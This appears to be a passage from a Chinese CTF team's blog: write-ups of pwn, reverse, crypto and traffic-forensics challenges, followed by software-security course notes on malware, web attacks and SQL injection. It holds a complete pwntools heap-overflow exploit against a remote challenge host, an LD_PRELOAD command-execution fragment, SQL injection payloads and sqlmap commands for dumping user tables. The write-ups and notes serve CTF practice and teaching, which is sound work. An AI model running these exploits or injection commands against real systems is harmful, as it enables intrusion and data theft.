
echo ld_preload_exec_cmd('cat /run/log/d8ba573026fb028f7cf59218bafb6df3/flag');

)}}

Pwn

note

放入ida,看一下程序逻辑

重命名一下,看见了amenu函数

不同的选项,对应不同的功能,后续分析要用

不同的分支,对应不同的功能,则可以定位到不同的功能分支。

观察new部分

分析可以知道,chunk的第一个元素被赋值为函数指针,因此根据c++一堆函数指针调用函数的特性,完全可以从此处入手,分析是否有机会可以覆盖函数指针,然后调用我们自己的函数,接下来的问题就是不知道有没有后门函数

:可以找到一个后门,下面就可以考虑覆盖函数指针,使其指向此函数即可。

接着可以分析edit:

存在溢出:

可以溢出到下一个chunk的函数指针。

之后会调用此函数指针指向的函数

思路现在就清晰了,可以申请两个chunk,通过上一个覆盖下一个chunk的函数指针,使其指向我们的后门函数即可。但是现在的问题是如何找到指向后门的指针,观察show函数的时候就会知道需要我们在heap中填入后门地址,那么heap的指针就成为了指向后门的指针。

由于我们还没有看show函数,思路到这里就卡住了,无法获得一个指向后门的函数指针。

有个gift会输出意想不到的东西。

会输出chunk的地址:

现在我们就知道堆地址了,

我们就可以利用了:代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
#io = process("./note")
io = remote("47.94.109.203",24867)
context.log_level ="debug"
context.terminal = ['tmux','splitw','-h']
io.sendlineafter(b"Choice>>",b'1')
io.sendlineafter(b"Choice>>",b'1')
###show
#gdb.attach(io)
#pause()
io.sendlineafter(b"Choice>>",b'1')
io.sendlineafter(b"Choice>>",b'2')
io.sendlineafter(b"index: ",b'2')
io.recvuntil("0x")
heapadd = io.recvline()
heapadd = int(heapadd,16)
binptr = heapadd + 0x9418ff8-0x9419010-0x20
print(hex(heapadd))
#pause()
###show
io.sendlineafter(b"Choice>>",b'3')
io.sendlineafter(b"index: ",b'0')
io.sendlineafter(b"len: ",b'28')
#payload = 7*p32(0x080489CE)
#gdb.attach(io)
#pause()
io.sendlineafter(b"content: ",5*p32(0x080489CE)+p32(0x21)+p32(binptr))
#pause()
#print(io.recv())

io.sendlineafter(b"Choice>>",b'3')
#print(io.recv())
io.sendlineafter(b"index: ",b'1')

io.sendlineafter(b"len: ",b'32')
io.sendlineafter(b"content: ",b'aaa')
io.interactive()

Reverse

dump

题目里有两个文件,一个是十六进制文件,一个是exe文件。打开十六进制文件,先保存数据

1
23291e24380e1520370e0520000e37121d0f24010139

使用IDA打开程序,发现main里就是逻辑。这里的argv[1]就是我们的输入

经过动态调试,下断点,调试后发现这里是对输入做变换,然后打印出来。

输入flag{1234567890}:输出如下图所示,f是23,之后的数字是后续。

观察上述数据和十六进制文件的关系,因为一直没看到有对文件进行操作,所以这里比较疑惑。然后比较的时候可以发现前面的数值是雷同的。

多试了几次,发现每个字符对应编码出来的值是一样的。互相之间是独立计算的。所以使用python的库:from string import printable。对里面的字符打印出来,做成一张表来对应。

其中有些字符是0,没有对应的值,打出来数字1和2是有对应值的,2以后都不行,都是0。同时提示说了长度和第13位。因为0有很多可能,根据提示能知道,这一位是4。根据表可得flag

最终打表可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
flag{ M T c z M D c 4 M z Q 2 N g = = }
23291e2438 0e 15 20 37 0e 05 20 00 0e 37 12 1d 0f 24 01 01 39
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
'''

# a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2
# 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 1c 1d
#
# A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
# 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b

from string import printable
for tmp in printable:
print(tmp,end="")
#flag{MTczMDc4MzQ2Ng==}

Crypto

fffffhash

分析0x0000000001000000000000000000013b这一串数字,在网上查找

发现这是128位的FNV哈希的一个参数,在网上搜索FNV相关的知识,结果搜到了类似的题目(64位FNV)

然后将解题脚本稍微修改了一下,就跑出来了

py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
TARGET = 201431453607244229943761366749810895688
h0 = 0x6c62272e07bb014262b821756295c58d
p = 0x0000000001000000000000000000013b
MOD = 2^128

n = 30
M = Matrix.column([p^(n - i - 1) for i in range(n)] + [-(TARGET - h0*p^n), MOD])
M = M.augment(identity_matrix(n+1).stack(vector([0] * (n+1))))
Q = Matrix.diagonal([2^128] + [2^4] * n + [2^8])
M *= Q
M = M.BKZ()
M /= Q
for r in M:
if r[0] == 0 and abs(r[-1]) == 1:
r *= r[-1]
good = r[1:-1]
print(good)
break
inp = []
y = int(h0*p)
t = (h0*p^n + good[0] * p^(n-1)) % MOD
for i in range(n):
for x in range(256):
y_ = (int(y) ^^ int(x)) * p^(n-i-1) % MOD
if y_ == t:
print('good', i, x)
inp.append(x)
if i < n-1:
t = (t + good[i+1] * p^(n-i-2)) % MOD
y = ((int(y) ^^ int(x)) * p) % MOD
break
else:
print('bad', i)
print(bytes(inp).hex())

跑出来的结果:

所以得到了我们的hex_string

然后nc交互就可以了,如下所示:

flag{508074eb-ea1b-4608-9bdb-64e6d73e2655}

rasnd

两个部分的拼凑

第一部分是前段时间强网杯的apdq的第二部分,直接套板子就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#part1
n=28887811227499051616528094429019003663717623904277565919075044655116848454702243443222138650839802532457876075543066292240383592982003544521377684917140524085713240851320087700637160892340521450393565882070831401986253770658662871222156018676508909050373444215149175943226203798935993199035325044630185976663003232467964487143314972938428288758994373432653784346882713174719140391514347600850788886148311039655932116903027672113333591490675960703395369201502464526771460999324722209109938614286150245265511899004435237837454069138941745952479175479274675250566087400534051161079388742074574161312192043701412913886879
c=12904862358252536205392970372996437799373602343641649800438666554968935383265314461895472296763366221390375513224953980022691144110127251816378756979174253143874738105909473714409576815667746200188582929727948993200023081398594917163571324435295811041599701791670116306237799243786230718765077662418219690489181151068715116557561366214233881032505810402132893400971807723389883203848637967177002497144918823825923464608185799494223184876201542806244059208328032164925668486389879511335562451730919596497353207496613303380375801193934636085352103680453435947151045227281898926345875209127168252450738017665556659823293
hint1=377177973587575850466901754568881568812740281610024306026199181684494762091512999340415335806051052710588140980770351324449498146395095691664930883421912024544523884628292027615631463699276645005996099180207059939697896427175045969513335989186018906424156601382567472008947296866700129244023038476994696464956187676767165999552159908068623501+0x114
hint2=7181804289463325714939537449620677120608402749084085104997954266645742337112146883176759025627406327132463813893784187427062727563053446288300954407999801433816793840360522607395887308951891396620953517561723843530407447008241903967390660485941935151813958917072982711483327150689765967737844070049797477796050409421814053857382004868595748173297461069739232023287436317552899867260535988259736223827987858334777288892948771592938879108032542724655660055953059782+0x514

import itertools
#from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
from math import gcd

for a1, a2 in tqdm(list(itertools.product(range(2**12), repeat=2))):
kq = gcd(a1 * hint1 - a2 * hint2, n)
if 1 < kq < n:
print('find!', kq, a1, a2)
break
for i in range(2**16, 1, -1):
if kq % i == 0:
kq //= i
q = kq
p = n // kq
d = pow(0x10001, -1, (p - 1) * (q - 1))
print(d)

解得d后正常解密即可

1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes
d=23907366912691968835577624634040812376408997746619567882551723026751722332211426825663096512569223640927266774269570312320275955813630594133855423265267982137737686456412391728445890603457057882210754631914151602620358454201207818626841297907693214658500615947346704988154826153877815571803377630508751194016044821159736834012130046315763891301572528300800270589349185383179339008172340480814901009286441308922386924830307903892751895522131345775410180999796185964203138795696737875885592819391495282427460200856076157745310030154909372824593618530916342795687746095429297760084659027083995509824303304962460646012273
c=12904862358252536205392970372996437799373602343641649800438666554968935383265314461895472296763366221390375513224953980022691144110127251816378756979174253143874738105909473714409576815667746200188582929727948993200023081398594917163571324435295811041599701791670116306237799243786230718765077662418219690489181151068715116557561366214233881032505810402132893400971807723389883203848637967177002497144918823825923464608185799494223184876201542806244059208328032164925668486389879511335562451730919596497353207496613303380375801193934636085352103680453435947151045227281898926345875209127168252450738017665556659823293
n=28887811227499051616528094429019003663717623904277565919075044655116848454702243443222138650839802532457876075543066292240383592982003544521377684917140524085713240851320087700637160892340521450393565882070831401986253770658662871222156018676508909050373444215149175943226203798935993199035325044630185976663003232467964487143314972938428288758994373432653784346882713174719140391514347600850788886148311039655932116903027672113333591490675960703395369201502464526771460999324722209109938614286150245265511899004435237837454069138941745952479175479274675250566087400534051161079388742074574161312192043701412913886879
m=pow(c,d,n)
print(long_to_bytes(m))
#b'flag{7f33cdc8-da19-'

然后第二部分,就是DUCTF2020的EasyRSA,修改一下数字就可以了

https://crypto-writeup-public.hatenablog.com/entry/DownUnderCTF%25202020%2520%257C%2520%2520%2520babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#part2
from gmpy2 import *
from sympy.solvers import solve
from sympy import symbols
n=16235562199200267459663730571049431604560323138825891010565012084966378560657028557593713658149224124014019674718841338098341965331592933997415694692050656493911264929774020942179882196570321425270890223396169112762011033004564308723485972391649681397363565727449598074059933122020979277213051522292750681766691422016751120287403039252908062651404902039208868924707593108364706700085611092189177151362213092719343563439787881931506466123650653478905555329561874204870585566987658878227630910823854130181333087408403245083629898953751267545552289595198873283690722202122622106505732576237684209082112223769923295430523
c=11618635355226290496294059660684603271588961451576288595852951276334806609033643787615488344507896857194047959998447214859969744967026400630924460267578943153410706528035442130937391499097216199001992180336450905339834216101657701141898474167790182212942369008350602241504906953057533358121870137756984024718626959548768270243611602403692209977991118081549322098177312841836591127963898605893447513836841527304670334168898249244877428516320988326935026436339811852851774767266645087443342058339001680095456544461819091726014417859396827670899885993279204262383019508480189625007076070194718973783400618991012898398971
s=7547052520968274686361390354285315087014340779570155974910998576495561953587318079357069880644559171407046420462937990129522060964321221028493396033041599196464187957179980446173784787331698698561742332536751956414220040013365969434115189539462094772621278876850660929745673861325132019440705142779617380382511054084461569440985254700562753414759088555879937884688154445987875415437130349205506768368786816237719717004795323391266775205156239444277181913569391343776187901301703075697132319977481036429174361283683381079528630613358434337746208635554486300034455331087173311239089359066587253492149727949991752157130

t = invert(s, n)

p, q = symbols("p, q", integer=True)
solutions = solve([514*p - 114*q - t, p*q - n])
p = solutions[0][p]
q = solutions[0][q]
print(p)
print(q)
#107039821091476907017361040577100142080416506607330385914714896527723104434231991867446553926956088272494931767357910005226685224323888560118102752832821265121788585829575612779765001594434154517988820915969980410997090848817455330109147139014661903366930742269344732454435610621218450264594885489462013983987
#151677777799397230712001297032535496815539593864839536857494497889357845204973853077974576890314781663504855038646614281597509142082401258190873413836743927444104379591420166860126996505224123494050068333796017557802283729445202439509483655265818829771274657687534045119516831069023231285659118123116078992729

然后解得d

1
2
3
4
5
6
from gmpy2 import *
p=107039821091476907017361040577100142080416506607330385914714896527723104434231991867446553926956088272494931767357910005226685224323888560118102752832821265121788585829575612779765001594434154517988820915969980410997090848817455330109147139014661903366930742269344732454435610621218450264594885489462013983987
q=151677777799397230712001297032535496815539593864839536857494497889357845204973853077974576890314781663504855038646614281597509142082401258190873413836743927444104379591420166860126996505224123494050068333796017557802283729445202439509483655265818829771274657687534045119516831069023231285659118123116078992729
d = invert(65537, (p-1)*(q-1))
print(d)
#6109052349547257206697096233914872260989327686702877341357297374235483700898764426663731614354637333081857960824673503479028836612555987493725239652501170165553073731910636074799821398102203737540323068021873603013735631382159022431926454967088532329203130000441080435575597765980092908983838908398907972784232273234118645498740450016498454462799191401029143802550110050596585913392562268596838785215043032391431672670233571868072460160423058850272542871308182251910122824582051543573456850142342031440175701154950554859876416850016770939690923082085654825466912802560496063162148070829301504935160652899585466110913

最终:

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
n=16235562199200267459663730571049431604560323138825891010565012084966378560657028557593713658149224124014019674718841338098341965331592933997415694692050656493911264929774020942179882196570321425270890223396169112762011033004564308723485972391649681397363565727449598074059933122020979277213051522292750681766691422016751120287403039252908062651404902039208868924707593108364706700085611092189177151362213092719343563439787881931506466123650653478905555329561874204870585566987658878227630910823854130181333087408403245083629898953751267545552289595198873283690722202122622106505732576237684209082112223769923295430523
e=65537
d=6109052349547257206697096233914872260989327686702877341357297374235483700898764426663731614354637333081857960824673503479028836612555987493725239652501170165553073731910636074799821398102203737540323068021873603013735631382159022431926454967088532329203130000441080435575597765980092908983838908398907972784232273234118645498740450016498454462799191401029143802550110050596585913392562268596838785215043032391431672670233571868072460160423058850272542871308182251910122824582051543573456850142342031440175701154950554859876416850016770939690923082085654825466912802560496063162148070829301504935160652899585466110913
c=11618635355226290496294059660684603271588961451576288595852951276334806609033643787615488344507896857194047959998447214859969744967026400630924460267578943153410706528035442130937391499097216199001992180336450905339834216101657701141898474167790182212942369008350602241504906953057533358121870137756984024718626959548768270243611602403692209977991118081549322098177312841836591127963898605893447513836841527304670334168898249244877428516320988326935026436339811852851774767266645087443342058339001680095456544461819091726014417859396827670899885993279204262383019508480189625007076070194718973783400618991012898398971
m=pow(c,d,n)
print(long_to_bytes(m))
#b'4daa-b621-da2f37dc0435}'

将两个部分合起来,就是最后的flag了

flag{7f33cdc8-da19-4daa-b621-da2f37dc0435}

威胁检测与网络流量分析

zeroshell_1

打开附件的数据包

搜http可以直接找到一个关键的路径

跟踪数据包看一下

直接执行了命令

然后refer里面就是flag

zeroshell_2

拿poc直接打,然后搜索全部文件中包含flag的

可以搜到,然后直接cat

zeroshell_3

我们队伍先做的4,再做的3

根据队友传出来的文件,使用IDA查看这个文件,查看字符串,往下翻发现可疑ip和密码

查看该字符串存放位置,在根据调用链查看,该函数位于start,看起来也比较符合网络连接的代码。进行尝试,发现是正确的ip地址

zeroshell_4

猜测隐藏文件以.开头,直接搜

看到一个nginx文件很可疑

看到一个elf文件

下载提取其中的elf文件,然后发给逆向手,逆向手去做的3和5

最终4的flag就是flag{.nginx}

zeroshell_5

根据zeroshell_5解答正确,根据队友传出来的文件,使用IDA查看这个文件,查看字符串,往下翻发现可疑ip和密码

查看该字符串存放位置,在根据调用链查看,该函数位于start,看起来也比较符合网络连接的代码。同时这个密钥也在ip下方,进行尝试,发现是正确的。

WinFT_1

打开主机,桌面有一个currports程序,我们打开,下面有一个正在运行的exe程序

双击这个程序

flag{miscsecure.com:192.168.116.130:443}

WinFT_2

打开PCHunter程序,进入电脑体检中

选择启动信息,生成检测报告,最后一行有一个奇怪的命令,里面有flag

导出报告,cyberchef直接梭

得到flag

sc05_1

告警IP为134.6.4.12(简称IP1),然后问我们IP1地址首次被请求时间是多久?

所以我们直接在firewall的excel中查找该ip地址

首先在http-export中搜索该ip

然后将2024/11/09_16:23:57 MD5加密,上交flag,发现错误

然后再去第二个表中查找,发现找不到

然后在tcp-export中进行查找

发现找到了两个ip地址,一个一个试

发现2024/11/09_16:22:42这个时间,MD5加密得到flag,就对了

得到flag{01DF5BC2388E287D4CC8F11EA4D31929}

数据结构笔记

Posted on 2024-11-05 | In 课程笔记

嵌入式系统笔记

Posted on 2024-11-05 | In 课程笔记 , 嵌入式系统

软件安全笔记Chapter1

Posted on 2024-11-05 | In 课程笔记 , 软件安全

第一章 基本概念

病毒和木马

​ 病毒、蠕虫和木马三者都对电脑有一定的危害,但是三者有其不同之处。

病毒

​ 指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码

​ 往往具有很强的感染性、潜伏性、破坏性、特定的触发性

​ 病毒必须满足两个条件,自我执行(它通常将自己的代码置于另一个程序的执行路径中)、自我复制(它可能用受病毒感染的文件副本替换其他可执行文件)

蠕虫

​ 利用网络进行复制和传播,是自身包含的程序,通过网络连接,能够将自身功能拷贝到其他计算机中

​ 普通病毒需要传播驻留文件(受感染的)来进行复制,但是蠕虫不需要驻留文件就可以在系统之间进行复制,蠕虫病毒的传染目标是互联网所有的计算机

木马

​ 是表面上有用的软件、实际目的却是危害计算机安全并导致严重破坏的计算机程序,具有非授权性、隐蔽性,是一种远程控制的黑客工具

​ 木马不具有传染性,不能像病毒那样复制自身,是将自身伪装起来,让用户下载执行,主要目的是窃取用户相关的信息或者隐蔽性控制,就是说病毒是破坏你的信息,木马窥视你

软件漏洞

分清楚软件缺陷&软件漏洞:

​ 软件缺陷是,导致程序不能运行;软件漏洞不是bug,而是一个安全上的漏洞

电脑肉鸡:

​ 就是说,自己的电脑被别人远程控制了,攻击者通过寻找漏洞来主动控制电脑,植入木马

漏洞分类:

  • 0day漏洞:还处于未公开状态的漏洞。这类漏洞只在攻击者个人或者小范围黑客团体内使用,网络用户和厂商都不知情,因此没有任何防范手段,危害非常大,
  • 1day漏洞:补丁发布在1天内的漏洞,通常指发布补丁时间不长的漏洞,仍然存在一定的危害
  • 已公开漏洞:厂商已经发布了补丁和修补方法,危害比较小

漏洞产业链:

​ 上游(技术开发部门,编写恶意软件)、中游(执行产业部门,实现病毒的传播,网络攻击)、下游(销赃产业部门,贩卖木马、病毒等)

漏洞库

国内外有许多的漏洞库,都是公开的

  • CVE:通用漏洞列表,实现了安全漏洞命名机制的规范化和标准化,为每个漏洞确定了唯一的名称和标准化的描述
  • NVD:美国国家漏洞数据库,同时收录三个漏洞数据库的信息,CVE漏洞公告、US-CERT漏洞公告、US-CERT安全警告
  • CNNVD:中国国家信息安全漏洞库,是国内的数据库
  • CNVD:国家信息安全漏洞共享平台
  • 其他漏洞库,如EDB漏洞库等

渗透测试

​ 渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。

​ 渗透测试是一个渐进的过程,不影响业务系统的正常运行。

渗透测试方法

  • 黑箱测试:对系统一无所知的状态下,进行测试
  • 白盒测试:测试者可以通过正常渠道向被测单位取得各种资料
  • 隐秘测试:接受渗透测试的单位网络管理部门会收到通知,在某些时段进行测试。因此能够监测网络中出现的变化

软件安全笔记Chapter10

Posted on 2024-11-05 | In 课程笔记 , 软件安全

第十章 WEB安全基础

WEB基础

HTTP协议:超文本传输协议

统一资源标示符:URL

HTTP协议采用了请求/响应模型。

HTML:超文本标记语言

  • Head:头 关于网页的信息
  • body:主体 关于网页的具体内容

标记一般都是成对的出现的,<html>为我们的开头,然后</html>就是我们的结尾

(部分标记除外例如:<br/>)

1
<head></head>

这2个标记符分别表示头部信息的开始和结尾。头部中包含的标记是页面的标题、序言、说明等内容,它本身不作为内容来显示,但影响网页显示的效果。头部中最常用的标记符是标题标记符和meta标记符,其中标题标记符用于定义网页的标题,它的内容显示在网页窗口的标题栏中,网页标题可被浏览器用作书签和收藏清单。

JavaScript:是一种嵌入在我们的html语言中的脚本语言,可以提供动态功能

1
2
3
4
5
6
7
8
9
10
<html>  
<head>
<title>Javascript简单示例</title>
</head>
<body>
<script language="javascript">
alert("第一个javascript");
</script>
</body>
</html>

有它自身的基本数据类型,表达式和算术运算符及程序的基本程序框架

WEB编程环境

WEB静态语言和WEB动态语言

  • WEB静态语言就是通常所见到的超文本标记语言(标准通用标记语言下的一个应用)
  • WEB动态语言主要是ASP、PHP、JAVASCRIPT、JAVA、CGI等计算机脚本语言编写出来的执行灵活的互联网网页程序。

PHP语言

PHP:

  • 是一种解释性语言。PHP的语法和C/C++,Java,Perl,ASP,JSP有相通之处并且加上了自己的语法。
  • 由于PHP是一种面向HTML的解析语言,所以,PHP语句被包含在PHP标记里面,PHP标记外的语句都被直接输出。包括在PHP标记中的语句被解析,在其外的语句原样输出并且接受PHP语句的控制

变量解析当遇到符号($)时产生,解析器会尽可能多地取得后面的字符以组成一个合法的变量名,然后将变量值替换他们,如果$后面没有有效的变量名,则输出"$"。如果想明确的变量名可以用花括号把变量名括起来。

HTTP会话管理

HTTP协议属于无状态的通信协议

当浏览器发送请求给服务器的时候,服务器响应,但是当同一个浏览器再发送请求给服务器的时候,他不知道你就是刚才那个浏览器。简单地说,就是服务器不会去记得你

HTTP是短连接的

为了识别不同的请求是否来自同一客户,需要引用HTTP会话机制:

多次HTTP连接间维护用户与同一用户发出的不同请求之间关联的情况称为维护一个会话(session)。

Cookie与session是与HTTP会话相关的两个内容,其中Cookie存在在浏览器,session存储在服务器中

Cookies是服务器在本地机器上存储的小段文本并随每一个请求发送至同一个服务器

  • 正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。
  • 浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。

cookies的内容:名字,值,过期时间,路径和域

若不设置过期时间,则表示这个cookie的生命期为浏览器会话期间,关闭浏览器窗口,cookie就消失。这种生命期为浏览器会话期的cookie被称为会话cookie。

会话cookie一般不存储在硬盘上而是保存在内存里

  • 若设置了过期时间,浏览器就会把cookie保存到硬盘上
  • 存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口

session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串

HTTP请求

method属性指定了与服务器进行信息交互的方法为POST。

交互的四种方法:

  • GET:GET一般用于获取/查询资源信息
  • POST:而POST一般用于更新资源信息
  • DELETE
  • PUT

以?分割URL和传输数据,参数之间以&相连,如:login.action?name=sean&password=123

  • GET请求的数据会附在URL之后
  • POST把提交的数据则放置在是HTTP包的包体中

POST的安全性要比GET的安全性高:

  • GET模式下,通过URL就可以作数据修改
  • GET模式下,用户名和密码将明文出现在URL上,因为登录页面有可能被浏览器缓存、其他人查看浏览器的历史纪录,那么别人就可以拿到你的账号和密码了
  • GET模式下,提交数据还可能会造成跨站请求伪造攻击

PHP连接数据库

表userinfo:有两个字段

  • username
  • pwd

数据库应用开发三步骤:

  • 连接数据库

    1
    $conn=mysql_connect("localhost", "root", "123456");
  • 执行SQL操作

    1
    $result=mysql_db_query("MyDB", $SQLStr, $conn);
  • 关闭连接

    1
    mysql_free_result($result); mysql_close($conn); 

Cookie实战

cookie和session的关系:

  • 共性:都可以暂时保存在多个页面中使用的变量。
  • 区别:cookie存放在客户端浏览器,session保存在服务器。它们之间的联系是session ID一般保存在cookie中,来实现HTTP会话管理

工作原理:

  • 生成Cookie:当客户访问某网站时,PHP可以使用setcookie函数告诉浏览器生成一个cookie,并把这个cookie保存在c:and Settings。
  • 使用Cookie:Cookie是HTTP标头的一部分,当客户再次访问该网站时,浏览器会自动把与该站点对应的cookie发送到服务器,服务器则把从客户端传来的cookie将自动地转化成一个PHP变量。

setcookie格式

  • setcookie(name, value, expire, path, domain, secure)
  • name 必需。规定 cookie 的名称。
  • value 必需。规定 cookie 的值。
  • expire 可选。规定 cookie 的有效期。

十大WEB安全威胁

  • 注入
  • 跨站脚本
  • 遭破坏的身份认证和会话管理
    • 攻击者窃听了用户访问HTTP时的用户名和密码,或者是用户的会话,从而得到sessionID或用户身份信息,进而冒充用户进行HTTP访问的过程
    • 检测是否使用HTTPS的最简单方法就是使用网络嗅探工具
    • 会话劫持就是一种窃取用户SessionID后,使用该SessionID登录进入目标账户的攻击方法,此时攻击者实际上是利用了目标账户的有效Session。如果SessionID是被保存在Cookie中,则这种攻击被称为Cookie劫持。
    • 如果攻击者窃取了用户的Session,并一直保持一个有效的Session,攻击者就能通过此有效Session一直使用用户的账户,即成为一个永久的“后门”,这就是会话保持攻击
  • 不安全的直接对象引用
    • 直接对象引用:是指WEB应用程序的开发人员将一些不应公开的对象引用直接暴露给用户,使得用户可以通过更改URL等操作直接引用对象。
    • 不安全的直接对象引用:是指一个用户通过更改URL等操作可以成功访问到未被授权的内容。比如一个网站上的用户通过更改URL可以访问到其他用户的私密信息和数据等。
  • 伪造跨站请求
  • 安全配置错误
    • 默认的用户名密码没有及时修改
  • 不安全的加密存储
    • Web应用系统没有对敏感性资料进行加密
  • 没有限制的URL访问
  • 传输层保护不足和未验证的重定向和转发
    • 中间人攻击(Man-in-the-middle attack),即MITM。HTTP连接的目标是Web服务器,如果传输层保护不足,攻击者可以担任中间人的角色,在用户和Web服务器之间截获数据并在两者之间进行转发,使用户和服务器之间的整个通信过程暴露在攻击者面前。

软件安全笔记Chapte11

Posted on 2024-11-05 | In 课程笔记 , 软件安全

第十一章 WEB渗透实战

文件上传漏洞

指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门

  • 攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
  • WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。
  • 攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。

原理:

  • 一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
  • 当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

跨站脚本攻击

跨站脚本攻击与SQL注入攻击区别在于:XSS主要影响的是Web应用程序的用户,而SQL注入则主要影响Web应用程序自身。

启用并使用脚本并不是XSS漏洞存在的原因。只有当Web应用程序开发人员犯错误时才会变得危险

分为两类攻击方式:

  • 反射式跨站脚本:也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到URL地址的参数中
  • 持久式跨站脚本:比反射式跨站脚本更具有威胁性,并且可能影响到Web服务器自身的安全

两者的异同:

  • 存储式XSS与反射式XSS类似的地方在于,会在Web应用程序的网页中显示未经编码的攻击者脚本。
  • 它们的区别在于,存储式XSS中的脚本并非来自于Web应用程序请求;相反,脚本是由Web应用程序进行存储的,并且会将其其作为内容显示给浏览用户。

一般来说,存储式XSS的风险会高于反射式XSS。因为存储式XSS会保存在服务器上,有可能会跨页面存在。

从攻击过程来说,反射式XSS一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储式XSS则只需让用户查看一个正常的URL链接

SQL注入漏洞

常用的特殊字符:

1
2
3
4
5
6
’ ’   字符串指示器(‘string’)
; 语句终结符
|| 对于Oracle、PostgreSQL而言为连接(合并)
-- 注释(单行)
# 注释(单行)
/**/ 注释(多行)

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台SQL服务器加以解析并执行

联系过程:

当用户通过浏览器向表单提交了用户名“bob”,密码“abc123”时,那么下面的HTTP查询将被发送给Web服务器:

1
http://xxxx.com/xxx.php?user=bob&passwd=abc123

当Web服务器收到这个请求时,将构建并执行一条(发送给数据库服务器的)SQL查询。在这个示例中,该SQL请求如下所示:

1
SELECT * FROM table WHERE user=’bob’ and password=’abc123’

我们可以选择把我们的后面给注释掉,只需要加上一定的特殊字符就可以了

1
http://xxxx.com/xxx.php?user=bob’--&passwd=xxxxxx

这样输出的SQL语句就是:

1
SELECT * FROM table WHERE user=’bob’--’ and password=’abc123’

寻找注入点:GET请求的最好被注入

注入方法:

  • 单引号法:但是一般都会把单引号过滤掉

    • 输入

      1
      http://localhost/test.php?id=1’
    • 输出

      1
      select * from category where id=1‘
  • 永真永假法:

    • 当与上一个永真式使逻辑不受影响时,页面应当与原页面相同。
    • 而与上一个永假式时,则会影响原逻辑,页面可能出错或跳转(这与设计者的设计有关)。

SQLMAP

就是由python开发的一款SQL注入的工具

常见语句:

  • Sqlmap -u url 找到注入点
  • sqlmap -u url --dbs 列出数据库
  • 或者 sqlmap -u url --current-db 显示当前数据库
  • sqlmap -u url –users 列出数据库用户
  • 或者sqlmap -u url --current-user 当前数据库用户
  • sqlmap -u url --tables -D “testdb” 列出testdb数据库的表
  • sqlmap -u url --columns -T "user" -D "testdb" 列出testdb数据库user表的列
  • sqlmap -u url --dump -C “id,username,password” -T “user” -D “testdb” 列出testdb数据 库user表的id,username,password这几列的数据

SQL盲注

SQL盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。

一般情况下,盲注可分为三类:

  • 基于布尔SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

常用的函数:

  • Substr函数的用法:取得字符串中指定起始位置和长度的字符串,默认是从起始位置到结束的子串。
    • 语法为:substr( string, start_position, [ length ] ),比如substr('目标字符串',开始位置,长度),再如substr('This is a test', 6, 2) 将返回 'is'。
  • If函数的用法:如果满足一个条件可以赋一个需要的值。
    • 语法:IF(expr1,expr2,expr3),其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果,expr1为真则返回expr2,否则返回expr3。
  • Sleep函数的用法:sleep(n)让语句停留n秒时间,然后返回0,如果执行被打断,返回1。
  • Ascii函数的用法:返回字符的ASCII码值。

基于布尔SQL盲注

可以利用输出的bool值来进行判断

二分法可以节省我们的猜测次数

基于时间的SQL盲注

就是看输入的数字运行时有没有明显的时间延迟,如果有的话说明是正确的语句,因为花费时间去查询了

